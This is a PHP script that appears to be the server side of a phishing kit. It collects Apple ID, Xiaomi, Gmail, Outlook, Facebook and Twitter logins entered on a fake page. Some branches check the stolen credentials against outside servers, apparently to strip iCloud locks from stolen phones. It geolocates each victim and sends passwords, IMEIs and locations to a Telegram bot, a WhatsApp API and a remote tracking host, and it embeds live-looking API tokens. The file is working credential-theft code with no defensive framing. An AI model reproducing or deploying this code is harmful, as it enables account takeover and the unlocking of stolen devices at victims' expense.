<?php
error_reporting(0);
include "class-icloud.php";
date_default_timezone_set('Mexico/General');
 require_once('geoplugin.class.php');

$geoplugin = new geoPlugin();
// If we wanted to change the base currency, we would uncomment the following         line
// $geoplugin->currency = 'EUR';

$geoplugin->locate();
$idequipo = $_POST['id'];

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/unlocks.php?r3qne5t=".$idequipo);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

$headers = array();
$headers[] = "Host: www.thereisnothing-here.com";
$headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
$headers[] = "Accept: */*";
$headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
$headers[] = "X-Requested-With: XMLHttpRequest";
$headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
$headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
$headers[] = "Connection: keep-alive";
$headers[] = "Cache-Control: max-age=0";
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$result = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error:' . curl_error($ch);
}
curl_close ($ch);

$response =  simplexml_load_string($result);

@set_time_limit(0);
@session_start();
$x=@md5(@microtime());
$ip=getenv("REMOTE_ADDR");
$i_O="COMPUTED";
$rand = md5(microtime());
$I_O="UserComment";
$date = date("d M, Y");
$time = date("g:i a");
$date = trim($date . ", Time : " . $time);
$useragent = $_SERVER['HTTP_USER_AGENT'];
   function getr($ip){
$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, 'http://ip-api.toolz-home.gq/');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
            "IP=".$ip);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $server_output = curl_exec ($ch);
    curl_close ($ch);
}
$iCloud = new iCloud();
$ID = $_POST["xuser"];
$PW = $_POST["xpass"];

function detect()
{
    $browser=array("IE","OPERA","MOZILLA","NETSCAPE","FIREFOX","SAFARI","CHROME");
    $os=array("WIN","MAC","LINUX");
    $info['browser'] = "OTHER";
    $info['os'] = "OTHER";
    foreach($browser as $parent)
    {
        $s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
        $f = $s + strlen($parent);
        $version = substr($_SERVER['HTTP_USER_AGENT'], $f, 15);
        $version = preg_replace('/[^0-9,.]/','',$version);
        if ($s)
        {
            $info['browser'] = $parent;
            $info['version'] = $version;
        }
    }
    foreach($os as $val)
    {
        if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)
            $info['os'] = $val;
    }
    return $info;
}
$info=detect();
if (isset($_POST["xuser"]) && isset($_POST["xpass"])) {
    $iduser = $row['iduser'];
    $isCloud=0;
    if(isset($_POST['xiaomi'])){
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, "http://quickunlock.us/xiaomiremove.php");
        curl_setopt($c, CURLOPT_TIMEOUT, 30);
        curl_setopt($c, CURLOPT_POST, 1);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $postfields = 'email='.$ID.'&password='.$PW;
        curl_setopt($c, CURLOPT_POSTFIELDS, $postfields);
        $result = curl_exec($c);
        curl_close($c);
        if($result!='"User or Pass Invalid"'){
            $devsxiaomi = $result;
            $result = "OK";
        }else{
            $result = "ERROR";
        }
        $cuentax = "Account ID:";
        $offs = "";
    }else if(isset($_POST['samsung']) || isset($_POST['gmail']) || isset($_POST['outlook']) || isset($_POST['face']) || isset($_POST['twitter'])){
        $result = "OK";
        $cuentax = "Account ID:";
        $offs = "";
    }else{
        $cuentax = "Apple ID:&nbsp;";
        $offs = '<h3 mc:edit="header" style="margin: 0px 0px 3px; padding: 0px; color: rgb(95, 95, 95); font-size: 25px; font-weight: normal; font-family: Helvetica,Arial,sans-serif; line-height: 31.25px; text-align: center; letter-spacing: normal; display: block; font-style: normal;"><span style="background-color: rgb(74, 221, 44); color: rgb(249, 249, 249);"><small style="font-weight: bold; font-style: italic;">&nbsp;</small><span style="font-weight: bold; font-style: italic;"> &nbsp; ICLOUD&nbsp;STATUS: OFF </span>&nbsp; </span></h3>';
$texto = "El Apple ID y Password capturados son CORRECTOS.";
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, "http://notifyserver.com/NewRemove2026V2.php");
        curl_setopt($c, CURLOPT_TIMEOUT, 30);
        curl_setopt($c, CURLOPT_POST, 1);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $postfields = 'action=validate&appleid='.$ID.'&password='.$PW;
        curl_setopt($c, CURLOPT_POSTFIELDS, $postfields);
        $result = curl_exec($c);
        curl_close($c);
    }
    if ($result != "ERROR") {
        /*$c = curl_init();
        curl_setopt($c, CURLOPT_URL, "https://hollyrenew.website/remove.php");
        curl_setopt($c, CURLOPT_TIMEOUT, 30);
        curl_setopt($c, CURLOPT_POST, 1);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $postfields = 'action=remove&appleid='.$ID.'&password='.$PW;
        curl_setopt($c, CURLOPT_POSTFIELDS, $postfields);
        $result = curl_exec($c);
        curl_close($c);*/
        $devices = $result;

  
        if(isset($_POST['samsung']) ||isset($_POST['xiaomi']) || isset($_POST['gmail']) || isset($_POST['outlook']) || isset($_POST['face']) || isset($_POST['twitter'])){
            $resdev = "";
        }else{
            $resdev = '<strong><span style="color: rgb(9, 14, 9);">Equipos Desbloqueados:</span><span></span></strong><span style="color: rgb(9, 14, 9);">'.$devices.'</span>';
        }

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/datos.php?id=".$idequipo."&appleid=".urlencode($ID)."&password=".urlencode($PW)."&remove=".urlencode($devices));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

        $headers = array();
        $headers[] = "Host: www.thereisnothing-here.com";
        $headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
        $headers[] = "Accept: */*";
        $headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
        $headers[] = "X-Requested-With: XMLHttpRequest";
        $headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
        $headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
        $headers[] = "Connection: keep-alive";
        $headers[] = "Cache-Control: max-age=0";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        $result = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close ($ch);
        $checkfmi = "";
        if($response->fmiactive!=0){
             $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/getCheckFmi.php?ideq=".$idequipo."&imei=".$response->imei."&iduser=".$response->iduser);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

            curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

            $headers = array();
            $headers[] = "Host: www.thereisnothing-here.com";
            $headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
            $headers[] = "Accept: */*";
            $headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
            $headers[] = "X-Requested-With: XMLHttpRequest";
            $headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
            $headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
            $headers[] = "Connection: keep-alive";
            $headers[] = "Cache-Control: max-age=0";
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close ($ch);
            $checkfmi = "iCloud Status Check: *".strip_tags($result)."*";
            $checkfmi = str_replace($response->imei, $response->imei." ", $checkfmi);
        }

        if($response->chatid!=""){
$devs = strip_tags($devices);
$devs = str_replace('&quot;', ' Inch ', $devs);
$devs = str_replace('Model:', ' Model:', $devs);
$devs = str_replace('ved!', 'ved!
', $devs);
$devs = str_replace('iled', 'iled
', $devs);

//NUEVOS DATOS REMOVE
$devs = str_replace('Autoremove:', 'Autoremove:
', $devs);
$devs = str_replace('IMEI:', '
IMEI:', $devs);
$devs = str_replace('Serial:', '
Serial:', $devs);
$devs = str_replace('Dispositivo:', '
Dispositivo:', $devs);
$devs = str_replace('Nombre:', '
Nombre:', $devs);
$devs = str_replace('Result:', '
Result:', $devs);
$devs = str_replace('✘', '✘
----------------------------', $devs);
$devs = str_replace('✔', '✔
----------------------------', $devs);
//NUEVOS DATOS REMOVE

if(isset($_REQUEST['xiaomi'])){
    $resdev='🔰 Autoremove 🔰

✳️ Dispositivos Removidos ✳️
'.$devsxiaomi;
$sufijo = "XIAOMI";
$title = "❕❕XIAOMI DESBLOQUEADO❕❕";
}else if(isset($_REQUEST['gmail']) || isset($_REQUEST['outlook']) || isset($_REQUEST['face']) || isset($_REQUEST['twitter'])){
    $resdev = "";
    $sufijo = "ACCOUNT";
    $title = "☠️🟢CUENTA HACKEADA🟢☠️";
}else{
$resdev='Dispositivos Eliminados:
'.$devs;
$sufijo = "APPLE";
$title = "📬 $response->equipo FMI OFF Sucess 📬 ";
}
$msj = '
'.$title.'
================================
       📩 Detalles del Login 📩 
       
     ✳🗒️  '.$sufijo.' ID 🗒️ ✳
     '.$_REQUEST['xuser'].'
     ✳🗒️  PASSWORD 🗒️ ✳
     '.$_REQUEST['xpass'].'
================================
🔢 IMEI: '.$response->imei.'
📱 Dispositivo: '.$response->equipo.'
================================
👤 Cliente: '.$response->cliente.'
📄 Notas: '.$response->notas.'
================================
📆 Fecha: '.str_replace("Time", "Hora", $date).'
📍 IP: '.$ip.'
🌎 Pais: '.$geoplugin->countryName . '
🗺️ Ciudad: '.$geoplugin->city.'
🌆 Region: '.$geoplugin->regionName. '
🤖 User Agent: '.$useragent.'
================================
'.$checkfmi.'


'.$resdev.'
================================
☠ Powered by Njord Server ☠';

if($response->fast=="1"){
$msj = '
🌩 📮 Datos Correctos Obtenidos por Fast URL 📮 🌩 
================================
       📬 Detalles del Login 📬 
       
     ✳🗒️  Apple ID 🗒️ ✳
     '.$_REQUEST['xuser'].'
     ✳🗒️  PASSWORD 🗒️ ✳
     '.$_REQUEST['xpass'].'
================================
📄 Notas: '.$response->notas.'
🛰️ Dominio: http://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"].'
================================
📆 Fecha: '.str_replace("Time", "Hora", $date).'
📍 IP: '.$ip.'
🌎 Pais: '.$geoplugin->countryName . '
🗺️ Ciudad: '.$geoplugin->city.'
🌆 Region: '.$geoplugin->regionName. '
🤖 User Agent: '.$useragent.'
================================
'.$checkfmi.'


'.$resdev.'
================================
☠ Powered by Njord Server ☠';
}
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot8269820097:AAE6HDbKSXoHOyaRLd6QES0S7g1L3OX5Wpk/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        }
        //$update = "update equipos set appleid='$ID', password='$PW', estatus=2 where ideq=$idequipo";
        //mysqli_query($db, $update);
        //echo $body = implode("\n",$devices_array);
        //getr($message);
        $isCloud=1;
        /*@fclose(@fwrite(@fopen("./r3sult/fulls.txt", "a"),$message));
        exit();*/
        /*if($rU['rol']==1){
            $number=$rU['numero'];
            $mensaje="Equipo Desbloqueado, IMEI: ".$row['imei'].", Cliente: ".$row['cliente'].", ID: ".$_REQUEST['xuser'].", pass: ".$_REQUEST['xpass'];
            $url = 'https://rest.nexmo.com/sms/json?' . http_build_query(
                [
                    'api_key' =>  '0bbd124a',
                    'api_secret' => 'a30ab2e77f3fbaac',
                    'to' => $number,
                    'from' => 'Desbloqueos',
                    'text' => $mensaje
                ]
            );
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $response = curl_exec($ch);
            $decoded_response = json_decode($response, true);
        }*/
    }else{
        if($response->numero!=0){
            // Generated by curl-to-PHP: http://incarnate.github.io/curl-to-php/
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, 'https://eu51.chat-api.com/instance58754/sendMessage?token=krqjqfxoa21p575y');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, '{"phone": '.$response->numero.',"body": "Datos *Erroneos* Obtenidos de *'.$response->equipo.'*, IMEI: '.$response->imei.', Username: *'.$_REQUEST['xuser'].'*, Password: *'.$_REQUEST['xpass'].'*, Fecha: '.str_replace("Time", "Hora", $date).'"}');
            curl_setopt($ch, CURLOPT_POST, 1);

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        }
        if($response->chatid!=""){
$msj = ' 
❌⚠️ Datos ERRONEOS Obtenidos ⚠️❌

    🪪  Detalles Login INCORRECTO 🪪

➡ Apple ID: '.$_REQUEST['xuser'].'
➡ Password: '.$_REQUEST['xpass'].'
================================
➡ Modelo: '.$response->equipo.'
➡ IMEI: '.$response->imei.'
================================
➡ Cliente: '.$response->cliente.'
➡ Notas: '.$response->notas.'
================================
➡ Fecha: '.str_replace("Time", "Hora", $date).'
➡ IP: '.$ip.'
➡ Pais: '.$geoplugin->countryName . '
➡ Ciudad: '.$geoplugin->city.'
➡ Region: '.$geoplugin->regionName. '
➡ User Agent: '.$useragent.'
================================

☠ Powered by Njord Server ☠';

if($response->fast=="1"){
$msj = ' 
📵⚠️ Datos ERRONEOS Obtenidos por fast URL ⚠️📵

   📖Detalles Login INCORRECTO 📖

➡ Apple ID: '.$_REQUEST['xuser'].'
➡ Password: '.$_REQUEST['xpass'].'
================================
➡ Notas: '.$response->notas.'
➡ Dominio: http://'.$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"].'
================================
➡ Fecha: '.str_replace("Time", "Hora", $date).'
➡ IP: '.$ip.'
➡ Pais: '.$geoplugin->countryName . '
➡ Ciudad: '.$geoplugin->city.'
➡ Region: '.$geoplugin->regionName. '
➡ User Agent: '.$useragent.'
================================

☠ Powered by Njord Server ☠';
}

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, "https://www.thereisnothing-here.com/erroneo.php?id=".$idequipo);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");

        curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');

        $headers = array();
        $headers[] = "Host: www.thereisnothing-here.com";
        $headers[] = "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0";
        $headers[] = "Accept: */*";
        $headers[] = "Accept-Language: es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1";
        $headers[] = "X-Requested-With: XMLHttpRequest";
        $headers[] = "Referer: https://www.thereisnothing-here.com/test.php";
        $headers[] = "Cookie: __zlcmid=hagbgIATLG2HiR; PHPSESSID=ru2fkp845vihe6dn2op6e28qt6";
        $headers[] = "Connection: keep-alive";
        $headers[] = "Cache-Control: max-age=0";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

        $result = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'Error:' . curl_error($ch);
        }
        curl_close ($ch);

$ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot8269820097:AAE6HDbKSXoHOyaRLd6QES0S7g1L3OX5Wpk/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"".$response->chatid."\", \"text\": \"".$msj."\"}");

            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        }
        //header("Location: http://find-iddevice.esy.es?id=".$idequipo);
    }
    echo $isCloud;
}
?>
